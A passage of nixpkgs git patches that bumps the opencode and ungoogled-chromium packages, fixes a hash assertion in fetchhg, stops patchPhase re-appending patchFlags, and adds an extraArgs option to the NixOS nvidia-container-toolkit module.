+    "x86_64-linux" = "sha256-TYjcA7MTfOKkvTwGSK1SotMDIH9xag79dikf6hMF8us=";
+  };
+  node_modules = stdenv.mkDerivation {
+    name = "opencode-${version}-node-modules";
+    inherit version src;
+
+    impureEnvVars = lib.fetchers.proxyImpureEnvVars ++ [
+      "GIT_PROXY_COMMAND"
+      "SOCKS_SERVER"
+    ];
+
+    nativeBuildInputs = [ bun ];
+
+    dontConfigure = true;
+
+    buildPhase = ''
+      bun install \
+        --no-cache \
+        --no-progress \
+        --frozen-lockfile \
+        --filter=opencode
+    '';
+
+    installPhase = ''
+      mkdir -p $out/node_modules
+
+      cp -R ./node_modules $out
+    '';
+
+    # Required else we get errors that our fixed-output derivation references store paths
+    dontFixup = true;
+
+    outputHash = opencode-node-modules-hash.${stdenv.hostPlatform.system};
+    outputHashAlgo = "sha256";
+    outputHashMode = "recursive";
+  };
+
+  modelsDevData = fetchurl {
+    url = "https://models.dev/api.json";
+    sha256 = "sha256-+VpQjvOOtuoltE3n9MZn8d0srYDacOh6B4wM0RqBmBM=";
+  };
+  bun-target = {
+    "aarch64-darwin" = "bun-darwin-arm64";
+    "aarch64-linux" = "bun-linux-arm64";
+    "x86_64-darwin" = "bun-darwin-x64";
+    "x86_64-linux" = "bun-linux-x64";
+  };
+in
+stdenv.mkDerivation (finalAttrs: {
+  pname = "opencode";
+  inherit version src;
+
+  nativeBuildInputs = [ bun ];
+
+  patches = [ ./fix-models-macro.patch ];
+
+  configurePhase = ''
+    runHook preConfigure
+
+    cp -R ${node_modules}/node_modules .
+
+    runHook postConfigure
+  '';
+
+  buildPhase = ''
+    runHook preBuild
+
+    export MODELS_JSON="$(cat ${modelsDevData})"
+    bun build \
+      --define OPENCODE_VERSION="'${version}'" \
+      --compile \
+      --minify \
+      --target=${bun-target.${stdenv.hostPlatform.system}} \
+      --outfile=opencode \
+      ./packages/opencode/src/index.ts \
+      ${opencode-tui}/bin/opencode
+
+    runHook postBuild
+  '';
+
+  dontStrip = true;
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out/bin
+    cp opencode $out/bin/opencode
+
+    runHook postInstall
+  '';
+
+  passthru = {
+    tests.version = testers.testVersion { package = finalAttrs.finalPackage; };
+    updateScript = nix-update-script { };
+  };
+
+  meta = {
+    description = "AI coding agent built for the terminal";
+    longDescription = ''
+      OpenCode is a terminal-based agent that can build anything.
+      It combines a TypeScript/JavaScript core with a Go-based TUI
+      to provide an interactive AI coding experience.
+    '';
+    homepage = "https://github.com/sst/opencode";
+    license = lib.licenses.mit;
+    platforms = lib.platforms.unix;
+    maintainers = with lib.maintainers; [
+      zestsystem
+      delafthi
+    ];
+    mainProgram = "opencode";
+  };
 })

From 1c459227c74b131f4b61c0960107593161e2c325 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Wed, 2 Jul 2025 22:26:05 +0200
Subject: [PATCH 2253/4511] opencode: 0.1.69 -> 0.1.176

(cherry picked from commit 4721ddd76f0ebd076f1e782ad3d22ec21f6bffe2)
---
 pkgs/by-name/op/opencode/package.nix | 26 +++++++++++++++-----------
 1 file changed, 15 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 7a5748b16a36..2c2953b3bae9 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -10,12 +10,12 @@
 }:
 
 let
-  version = "0.1.169";
+  version = "0.1.176";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${version}";
-    hash = "sha256-XCtO89yj+ov+f1Quof4hCWxL8l4xcFkqRWFW808GiUs=";
+    hash = "sha256-AKC8nAOa+33nOGSNzlQdbw2ESy+fg0j1h0k29qCCzd8=";
   };
 
   opencode-tui = buildGoModule {
@@ -24,7 +24,7 @@ let
 
     sourceRoot = "source/packages/tui";
 
-    vendorHash = "sha256-jUxBlBP8eKyDXVvYIZhcrSMfUvGb8/mTPZiPxlCfwLs=";
+    vendorHash = "sha256-gkaxjMGoJfDX6QjDCn6SSyyO7/mRqYrh+IRhWeBzj48=";
 
     subPackages = [ "cmd/opencode" ];
 
@@ -38,10 +38,10 @@ let
   };
 
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-5Y9bfzYaO1iwSgpkCwPuUCDRtG8uXwgKm98sq78HisI=";
-    "aarch64-linux" = "sha256-t7dcyPsWeqYJv4/DPP15bvVurVPGCXWXVPUfpk1+l1Q=";
-    "x86_64-darwin" = "sha256-qYljdz4iyl3aZBhVU+uIVx4ZsvY9ubTTLNxJ94TUkBo=";
-    "x86_64-linux" = "sha256-TYjcA7MTfOKkvTwGSK1SotMDIH9xag79dikf6hMF8us=";
+    "aarch64-darwin" = "sha256-ZI4wJvBeSejhHjyRsYqpfUvJ959WU01JCW+2HIBs3Cg=";
+    "aarch64-linux" = "sha256-g/IyhBxVyU39rh2R9SfmHwBi4oMS12bo60Apbay06v0=";
+    "x86_64-darwin" = "sha256-ckWsqrwJEpL1ejrOSp5wTGwQYsDapLH3imNnSOEHQSw=";
+    "x86_64-linux" = "sha256-Q3zlrS7kuyKJReuIFqsqG5yfDuwLwBoCm0hUpJo9hSU=";
   };
   node_modules = stdenv.mkDerivation {
     name = "opencode-${version}-node-modules";
@@ -57,11 +57,15 @@ let
     dontConfigure = true;
 
     buildPhase = ''
+
+      export HOME=$(mktemp -d)
+      export BUN_INSTALL_CACHE_DIR=$(mktemp -d)
+
       bun install \
-        --no-cache \
-        --no-progress \
+        --filter=opencode \
+        --force \
         --frozen-lockfile \
-        --filter=opencode
+        --no-progress
     '';
 
     installPhase = ''
@@ -80,7 +84,7 @@ let
 
   modelsDevData = fetchurl {
     url = "https://models.dev/api.json";
-    sha256 = "sha256-+VpQjvOOtuoltE3n9MZn8d0srYDacOh6B4wM0RqBmBM=";
+    sha256 = "sha256-igxQOC+Hz2FnXIW/S4Px9WhRuBhcIQIHO+7U8jHU1TQ=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";

From b2e07bb63370c0ba2c85ca9dfdd962353a0a4a30 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 3 Jul 2025 13:57:58 +0200
Subject: [PATCH 2254/4511] opencode: 0.1.176 -> 0.1.181

- Replaced `stdenv` with `stdenvNoCC`
- Moved subpackages into main derivation to enable updating subpackages with `nix-update-script`
- Fixed version test, by providing a temporary `HOME` directory

(cherry picked from commit 1371762d80a2c4b71769d2fb32d06ac66ba568a4)
---
 pkgs/by-name/op/opencode/package.nix | 87 ++++++++++++++++------------
 1 file changed, 49 insertions(+), 38 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 2c2953b3bae9..39bd8e2a3023 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -1,6 +1,6 @@
 {
   lib,
-  stdenv,
+  stdenvNoCC,
   buildGoModule,
   bun,
   fetchFromGitHub,
@@ -10,21 +10,35 @@
 }:
 
 let
-  version = "0.1.176";
+  opencode-node-modules-hash = {
+    "aarch64-darwin" = "sha256-ZI4wJvBeSejhHjyRsYqpfUvJ959WU01JCW+2HIBs3Cg=";
+    "aarch64-linux" = "sha256-g/IyhBxVyU39rh2R9SfmHwBi4oMS12bo60Apbay06v0=";
+    "x86_64-darwin" = "sha256-ckWsqrwJEpL1ejrOSp5wTGwQYsDapLH3imNnSOEHQSw=";
+    "x86_64-linux" = "sha256-Q3zlrS7kuyKJReuIFqsqG5yfDuwLwBoCm0hUpJo9hSU=";
+  };
+  bun-target = {
+    "aarch64-darwin" = "bun-darwin-arm64";
+    "aarch64-linux" = "bun-linux-arm64";
+    "x86_64-darwin" = "bun-darwin-x64";
+    "x86_64-linux" = "bun-linux-x64";
+  };
+in
+stdenvNoCC.mkDerivation (finalAttrs: {
+  pname = "opencode";
+  version = "0.1.181";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
-    tag = "v${version}";
-    hash = "sha256-AKC8nAOa+33nOGSNzlQdbw2ESy+fg0j1h0k29qCCzd8=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-hANFrs0ihOwVbrFS0PyHyexLawpH+VzfwjG4FrOuYac=";
   };
 
-  opencode-tui = buildGoModule {
+  tui = buildGoModule {
     pname = "opencode-tui";
-    inherit version src;
+    inherit (finalAttrs) version;
+    src = "${finalAttrs.src}/packages/tui";
 
-    sourceRoot = "source/packages/tui";
-
-    vendorHash = "sha256-gkaxjMGoJfDX6QjDCn6SSyyO7/mRqYrh+IRhWeBzj48=";
+    vendorHash = "sha256-/gDzGBCRapDBpEV9x1pB3QsOX9yua2RFY3i4OAjaIqc=";
 
     subPackages = [ "cmd/opencode" ];
 
@@ -33,19 +47,13 @@ let
     ldflags = [
       "-s"
       "-w"
-      "-X=main.Version=${version}"
+      "-X=main.Version=${finalAttrs.version}"
     ];
   };
 
-  opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-ZI4wJvBeSejhHjyRsYqpfUvJ959WU01JCW+2HIBs3Cg=";
-    "aarch64-linux" = "sha256-g/IyhBxVyU39rh2R9SfmHwBi4oMS12bo60Apbay06v0=";
-    "x86_64-darwin" = "sha256-ckWsqrwJEpL1ejrOSp5wTGwQYsDapLH3imNnSOEHQSw=";
-    "x86_64-linux" = "sha256-Q3zlrS7kuyKJReuIFqsqG5yfDuwLwBoCm0hUpJo9hSU=";
-  };
-  node_modules = stdenv.mkDerivation {
-    name = "opencode-${version}-node-modules";
-    inherit version src;
+  node_modules = stdenvNoCC.mkDerivation {
+    pname = "opencode-node_modules";
+    inherit (finalAttrs) version src;
 
     impureEnvVars = lib.fetchers.proxyImpureEnvVars ++ [
       "GIT_PROXY_COMMAND"
@@ -77,25 +85,15 @@ let
     # Required else we get errors that our fixed-output derivation references store paths
     dontFixup = true;
 
-    outputHash = opencode-node-modules-hash.${stdenv.hostPlatform.system};
+    outputHash = opencode-node-modules-hash.${stdenvNoCC.hostPlatform.system};
     outputHashAlgo = "sha256";
     outputHashMode = "recursive";
   };
 
-  modelsDevData = fetchurl {
+  models-dev-data = fetchurl {
     url = "https://models.dev/api.json";
     sha256 = "sha256-igxQOC+Hz2FnXIW/S4Px9WhRuBhcIQIHO+7U8jHU1TQ=";
   };
-  bun-target = {
-    "aarch64-darwin" = "bun-darwin-arm64";
-    "aarch64-linux" = "bun-linux-arm64";
-    "x86_64-darwin" = "bun-darwin-x64";
-    "x86_64-linux" = "bun-linux-x64";
-  };
-in
-stdenv.mkDerivation (finalAttrs: {
-  pname = "opencode";
-  inherit version src;
 
   nativeBuildInputs = [ bun ];
 
@@ -104,7 +102,7 @@ stdenv.mkDerivation (finalAttrs: {
   configurePhase = ''
     runHook preConfigure
 
-    cp -R ${node_modules}/node_modules .
+    cp -R ${finalAttrs.node_modules}/node_modules .
 
     runHook postConfigure
   '';
@@ -112,15 +110,15 @@ stdenv.mkDerivation (finalAttrs: {
   buildPhase = ''
     runHook preBuild
 
-    export MODELS_JSON="$(cat ${modelsDevData})"
+    export MODELS_JSON="$(cat ${finalAttrs.models-dev-data})"
     bun build \
-      --define OPENCODE_VERSION="'${version}'" \
+      --define OPENCODE_VERSION="'${finalAttrs.version}'" \
       --compile \
       --minify \
-      --target=${bun-target.${stdenv.hostPlatform.system}} \
+      --target=${bun-target.${stdenvNoCC.hostPlatform.system}} \
       --outfile=opencode \
       ./packages/opencode/src/index.ts \
-      ${opencode-tui}/bin/opencode
+      ${finalAttrs.tui}/bin/opencode
 
     runHook postBuild
   '';
@@ -137,8 +135,21 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   passthru = {
-    tests.version = testers.testVersion { package = finalAttrs.finalPackage; };
-    updateScript = nix-update-script { };
+    tests.version = testers.testVersion {
+      package = finalAttrs.finalPackage;
+      command = "HOME=$(mktemp -d) opencode --version";
+      inherit (finalAttrs) version;
+    };
+    updateScript = nix-update-script {
+      extraArgs = [
+        "--subpackage"
+        "tui"
+        "--subpackage"
+        "node_modules"
+        "--subpackage"
+        "models-dev-data"
+      ];
+    };
   };
 
   meta = {

From 822c72b0b5f2549a32cb806d5d8df9640156bdd6 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 3 Jul 2025 15:46:39 +0200
Subject: [PATCH 2255/4511] opencode: 0.1.181 -> 0.1.182

(cherry picked from commit 872fd0c102ca5f07a4bf140964f7f32ffdae6b20)
---
 pkgs/by-name/op/opencode/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 39bd8e2a3023..deef3a91206f 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -25,12 +25,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.1.181";
+  version = "0.1.182";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-hANFrs0ihOwVbrFS0PyHyexLawpH+VzfwjG4FrOuYac=";
+    hash = "sha256-XTVh/lq9Ma6FATH1SPuLveig8MD/uJ/34EQzfuPAnxI=";
   };
 
   tui = buildGoModule {

From 9234dc548e9e5b9766fcfa96789bd1d0a582fe1d Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 3 Jul 2025 19:13:14 +0200
Subject: [PATCH 2256/4511] opencode: 0.1.182 -> 0.1.185

(cherry picked from commit 8ff5933ccc6b06b94afc97630b075c2400d9dfc7)
---
 pkgs/by-name/op/opencode/package.nix | 21 ++++++++++++++++-----
 1 file changed, 16 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index deef3a91206f..6dc77a6b8249 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -25,12 +25,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.1.182";
+  version = "0.1.185";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-XTVh/lq9Ma6FATH1SPuLveig8MD/uJ/34EQzfuPAnxI=";
+    hash = "sha256-UCYfme9l7F3oBt+3sQE37+PwsmeTbnUFarbqVlb1f0I=";
   };
 
   tui = buildGoModule {
@@ -49,6 +49,14 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       "-w"
       "-X=main.Version=${finalAttrs.version}"
     ];
+
+    installPhase = ''
+      runHook preInstall
+
+      install -Dm755 $GOPATH/bin/opencode $out/bin/tui
+
+      runHook postInstall
+    '';
   };
 
   node_modules = stdenvNoCC.mkDerivation {
@@ -77,9 +85,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     '';
 
     installPhase = ''
-      mkdir -p $out/node_modules
+      runHook preInstall
 
+      mkdir -p $out/node_modules
       cp -R ./node_modules $out
+
+      runHook postInstall
     '';
 
     # Required else we get errors that our fixed-output derivation references store paths
@@ -118,7 +129,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       --target=${bun-target.${stdenvNoCC.hostPlatform.system}} \
       --outfile=opencode \
       ./packages/opencode/src/index.ts \
-      ${finalAttrs.tui}/bin/opencode
+      ${finalAttrs.tui}/bin/tui
 
     runHook postBuild
   '';
@@ -129,7 +140,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     runHook preInstall
 
     mkdir -p $out/bin
-    cp opencode $out/bin/opencode
+    install -Dm755 opencode $out/bin/opencode
 
     runHook postInstall
   '';

From f26ea16d34be2e594a137f5f79b77e480d850fbe Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Fri, 4 Jul 2025 11:02:21 +0200
Subject: [PATCH 2257/4511] opencode: 0.1.182 -> 0.1.189

(cherry picked from commit e5d1fc72d26c1cd6ff66756119e3982cfea931c6)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 6dc77a6b8249..06673e3fa50a 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -25,12 +25,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.1.185";
+  version = "0.1.189";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-UCYfme9l7F3oBt+3sQE37+PwsmeTbnUFarbqVlb1f0I=";
+    hash = "sha256-vQZE1b+/B3NV9wEp/T1ayP5pEuxmv37XRXx95XtUK9M=";
   };
 
   tui = buildGoModule {
@@ -38,7 +38,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-/gDzGBCRapDBpEV9x1pB3QsOX9yua2RFY3i4OAjaIqc=";
+    vendorHash = "sha256-cDQ2ElnpGIqbTt13OY8QKhey9CsI/DoClHQrEUkXBMk=";
 
     subPackages = [ "cmd/opencode" ];
 

From 93720e316de84fae5067f42368e9dd4c5a2a949a Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Sat, 5 Jul 2025 11:51:35 +0200
Subject: [PATCH 2258/4511] opencode: 0.1.185 -> 0.1.194

(cherry picked from commit 4acc22caf616f5958042d2746921f39203277edc)
---
 pkgs/by-name/op/opencode/package.nix | 37 ++++++++++++++++------------
 1 file changed, 21 insertions(+), 16 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 06673e3fa50a..0177c0224b4a 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -7,14 +7,15 @@
   fetchurl,
   nix-update-script,
   testers,
+  writableTmpDirAsHomeHook,
 }:
 
 let
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-ZI4wJvBeSejhHjyRsYqpfUvJ959WU01JCW+2HIBs3Cg=";
-    "aarch64-linux" = "sha256-g/IyhBxVyU39rh2R9SfmHwBi4oMS12bo60Apbay06v0=";
-    "x86_64-darwin" = "sha256-ckWsqrwJEpL1ejrOSp5wTGwQYsDapLH3imNnSOEHQSw=";
-    "x86_64-linux" = "sha256-Q3zlrS7kuyKJReuIFqsqG5yfDuwLwBoCm0hUpJo9hSU=";
+    "aarch64-darwin" = "sha256-+eXXWskZg0CIY12+Ee4Y3uwpB5I92grDiZ600Whzx/I=";
+    "aarch64-linux" = "sha256-rxLPrYAIiKDh6de/GACPfcYXY7nIskqAu1Xi12y5DpU=";
+    "x86_64-darwin" = "sha256-LOz7N6gMRaZLPks+y5fDIMOuUCXTWpHIss1v0LHPnqw=";
+    "x86_64-linux" = "sha256-GKLR+T+lCa7GFQr6HqSisfa4uf8F2b79RICZmePmCBE=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";
@@ -25,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.1.189";
+  version = "0.1.194";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-vQZE1b+/B3NV9wEp/T1ayP5pEuxmv37XRXx95XtUK9M=";
+    hash = "sha256-51Mc0Qrg3C0JTpXl2OECKEUvle+6X+j9+/Blu8Nu9Ao=";
   };
 
   tui = buildGoModule {
@@ -38,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-cDQ2ElnpGIqbTt13OY8QKhey9CsI/DoClHQrEUkXBMk=";
+    vendorHash = "sha256-hxtQHlaV2Em8CyTK3BNaoo/LgnGbMjj5XafbleF+p9I=";
 
     subPackages = [ "cmd/opencode" ];
 
@@ -46,7 +47,6 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
     ldflags = [
       "-s"
-      "-w"
       "-X=main.Version=${finalAttrs.version}"
     ];
 
@@ -68,20 +68,25 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       "SOCKS_SERVER"
     ];
 
-    nativeBuildInputs = [ bun ];
+    nativeBuildInputs = [
+      bun
+      writableTmpDirAsHomeHook
+    ];
 
     dontConfigure = true;
 
     buildPhase = ''
+      runHook preBuild
 
-      export HOME=$(mktemp -d)
-      export BUN_INSTALL_CACHE_DIR=$(mktemp -d)
+       export BUN_INSTALL_CACHE_DIR=$(mktemp -d)
 
-      bun install \
-        --filter=opencode \
-        --force \
-        --frozen-lockfile \
-        --no-progress
+       bun install \
+         --filter=opencode \
+         --force \
+         --frozen-lockfile \
+         --no-progress
+
+      runHook postBuild
     '';
 
     installPhase = ''

From c749d03e70549206a587ebde2b956240013a317b Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Thu, 10 Jul 2025 03:36:26 +0800
Subject: [PATCH 2259/4511] fetchhg: fix hash assertion; make overridable when
 sha256 set

Fix commit ef2f8315bf53 ("fetchhg: make argument hash overridable")

(cherry picked from commit 49ec48c3dbd4b8fca343918d87684e8a25d9c1c4)
---
 pkgs/build-support/fetchhg/default.nix | 18 ++++++++----------
 1 file changed, 8 insertions(+), 10 deletions(-)

diff --git a/pkgs/build-support/fetchhg/default.nix b/pkgs/build-support/fetchhg/default.nix
index 1e5e76ec4ca0..45319bad3f68 100644
--- a/pkgs/build-support/fetchhg/default.nix
+++ b/pkgs/build-support/fetchhg/default.nix
@@ -30,16 +30,14 @@ lib.extendMkDerivation {
 
       outputHashAlgo = if finalAttrs.hash != null && finalAttrs.hash != "" then null else "sha256";
       outputHashMode = "recursive";
-      outputHash =
-        lib.throwIf (finalAttrs.hash != null && sha256 != null) "Only one of sha256 or hash can be set"
-          (
-            if finalAttrs.hash != null then
-              finalAttrs.hash
-            else if sha256 != null then
-              sha256
-            else
-              ""
-          );
+      outputHash = lib.throwIf (hash != null && sha256 != null) "Only one of sha256 or hash can be set" (
+        if finalAttrs.hash != null then
+          finalAttrs.hash
+        else if sha256 != null then
+          sha256
+        else
+          ""
+      );
 
       inherit url rev hash;
       inherit preferLocalBuild;

From d9b650734a23c7f81bfc5dd961410b29c9d4fe28 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Thu, 10 Jul 2025 20:33:44 +0200
Subject: [PATCH 2260/4511] ungoogled-chromium: 138.0.7204.96-1 ->
 138.0.7204.100-1

https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop.html
(cherry picked from commit 435d2c036e3300bc9e60836b5a4df9715d93384b)
---
 .../networking/browsers/chromium/info.json         | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 9efb34dec8fd..41e0be5b3cc3 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,7 +802,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "138.0.7204.96",
+    "version": "138.0.7204.100",
     "deps": {
       "depot_tools": {
         "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
@@ -813,16 +813,16 @@
         "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
       },
       "ungoogled-patches": {
-        "rev": "138.0.7204.96-1",
-        "hash": "sha256-tOQSvdwK3lMN/7l23rbw7txJ/ovRguSXe9oMeol63Cs="
+        "rev": "138.0.7204.100-1",
+        "hash": "sha256-zIBOQlW8UAE7n8x6R5LLjiNUquLOiTPvyxx4sM9r85Y="
       },
       "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "f01343ee86bdb55cc999f82381f038cdbf20db62",
-        "hash": "sha256-9Ryxv2DvnIKVk4ZvjXegubFDUNzJ3YXGPuYHlntC3RU=",
+        "rev": "5f45b4744e3d5ba82c2ca6d942f1e7a516110752",
+        "hash": "sha256-bI75IXPl6YeauK2oTnUURh1ch1H7KKw/QzKYZ/q6htI=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -1047,8 +1047,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "f8dfe8b36e516cef8a5a169e88d16480d8abdc68",
-        "hash": "sha256-7ygnGBAeiLxwbTx5s7LRs9+ZOe06tr8VFcSY5cVHnS4="
+        "rev": "a6dbe06dafbad00ef4b0ea139ece1a94a5e2e6d8",
+        "hash": "sha256-XkyJFRxo3ZTBGfKdTwSIo14SLNPQAKQvY4lEX03j6LM="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",

From db87edb6e4f1b6902c9eaba50932ce7cd948d2ac Mon Sep 17 00:00:00 2001
From: Elliot Berman <eberman@anduril.com>
Date: Tue, 8 Jul 2025 18:40:21 -0700
Subject: [PATCH 2261/4511] stdenv: Don't reappend patchFlags

Presently, each patch in the for loop for patchPhase re-appends the
patchFlags. This can be harmless "patch -p1 -p1" is effectively the same
as "patch -p1". Other flags to patch, such as "-d" perform action each
time it is present in the argument list. The flagsArray doesn't contain
any patch-specific arguments and can be declared outside the loop.

(cherry picked from commit bfc73fd139fc9cb89f33b5a663d93cda1cdf2fe0)
---
 pkgs/stdenv/generic/setup.sh | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/stdenv/generic/setup.sh b/pkgs/stdenv/generic/setup.sh
index 344906eb34fa..4daeed34f201 100644
--- a/pkgs/stdenv/generic/setup.sh
+++ b/pkgs/stdenv/generic/setup.sh
@@ -1381,6 +1381,9 @@ patchPhase() {
     local -a patchesArray
     concatTo patchesArray patches
 
+    local -a flagsArray
+    concatTo flagsArray patchFlags=-p1
+
     for i in "${patchesArray[@]}"; do
         echo "applying patch $i"
         local uncompress=cat
@@ -1399,8 +1402,6 @@ patchPhase() {
                 ;;
         esac
 
-        local -a flagsArray
-        concatTo flagsArray patchFlags=-p1
         # "2>&1" is a hack to make patch fail if the decompressor fails (nonexistent patch, etc.)
         # shellcheck disable=SC2086
         $uncompress < "$i" 2>&1 | patch "${flagsArray[@]}"

From 1be849b8812575cdaac123970a51b0e6d88ae0e9 Mon Sep 17 00:00:00 2001
From: Jared Baur <jaredbaur@fastmail.com>
Date: Wed, 9 Jul 2025 18:38:56 -0700
Subject: [PATCH 2262/4511] nixos/nvidia-container-toolkit: add extraArgs
 option

(cherry picked from commit 73b4810ff3a5a2124e3a0145ffc1060fdf27d732)
---
 .../nvidia-container-toolkit/cdi-generate.nix      | 14 +++-----------
 .../hardware/nvidia-container-toolkit/default.nix  |  9 +++++++++
 2 files changed, 12 insertions(+), 11 deletions(-)

diff --git a/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix b/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
index 13595c320833..69b1c52a533e 100644
--- a/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
+++ b/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
@@ -10,18 +10,9 @@
   nvidia-driver,
   runtimeShell,
   writeScriptBin,
+  extraArgs,
 }:
 let
-  mkMount =
-    {
-      hostPath,
-      containerPath,
-      mountOptions,
-    }:
-    {
-      inherit hostPath containerPath;
-      options = mountOptions;
-    };
   mountToCommand =
     mount:
     "additionalMount \"${mount.hostPath}\" \"${mount.containerPath}\" '${builtins.toJSON mount.mountOptions}'";
@@ -48,7 +39,8 @@ writeScriptBin "nvidia-cdi-generator" ''
       --device-name-strategy ${device-name-strategy} \
       --ldconfig-path ${lib.getExe' glibc "ldconfig"} \
       --library-search-path ${lib.getLib nvidia-driver}/lib \
-      --nvidia-cdi-hook-path ${lib.getExe' nvidia-container-toolkit.tools "nvidia-cdi-hook"}
+      --nvidia-cdi-hook-path ${lib.getExe' nvidia-container-toolkit.tools "nvidia-cdi-hook"} \
+      ${lib.escapeShellArgs extraArgs}
   }
 
   function additionalMount {
diff --git a/nixos/modules/services/hardware/nvidia-container-toolkit/default.nix b/nixos/modules/services/hardware/nvidia-container-toolkit/default.nix
index d9596f754c6b..3e1648017a7c 100644
--- a/nixos/modules/services/hardware/nvidia-container-toolkit/default.nix
+++ b/nixos/modules/services/hardware/nvidia-container-toolkit/default.nix
@@ -120,6 +120,14 @@
         };
 
         package = lib.mkPackageOption pkgs "nvidia-container-toolkit" { };
+
+        extraArgs = lib.mkOption {
+          type = lib.types.listOf lib.types.str;
+          default = [ ];
+          description = ''
+            Extra arguments to be passed to nvidia-ctk.
+          '';
+        };
       };
 
     };
@@ -241,6 +249,7 @@
                 device-name-strategy
                 discovery-mode
                 mounts
+                extraArgs
                 ;
               nvidia-container-toolkit = config.hardware.nvidia-container-toolkit.package;
               nvidia-driver = config.hardware.nvidia.package;

From 52aeb84cc3938958752441e9fad8b6609f04a511 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
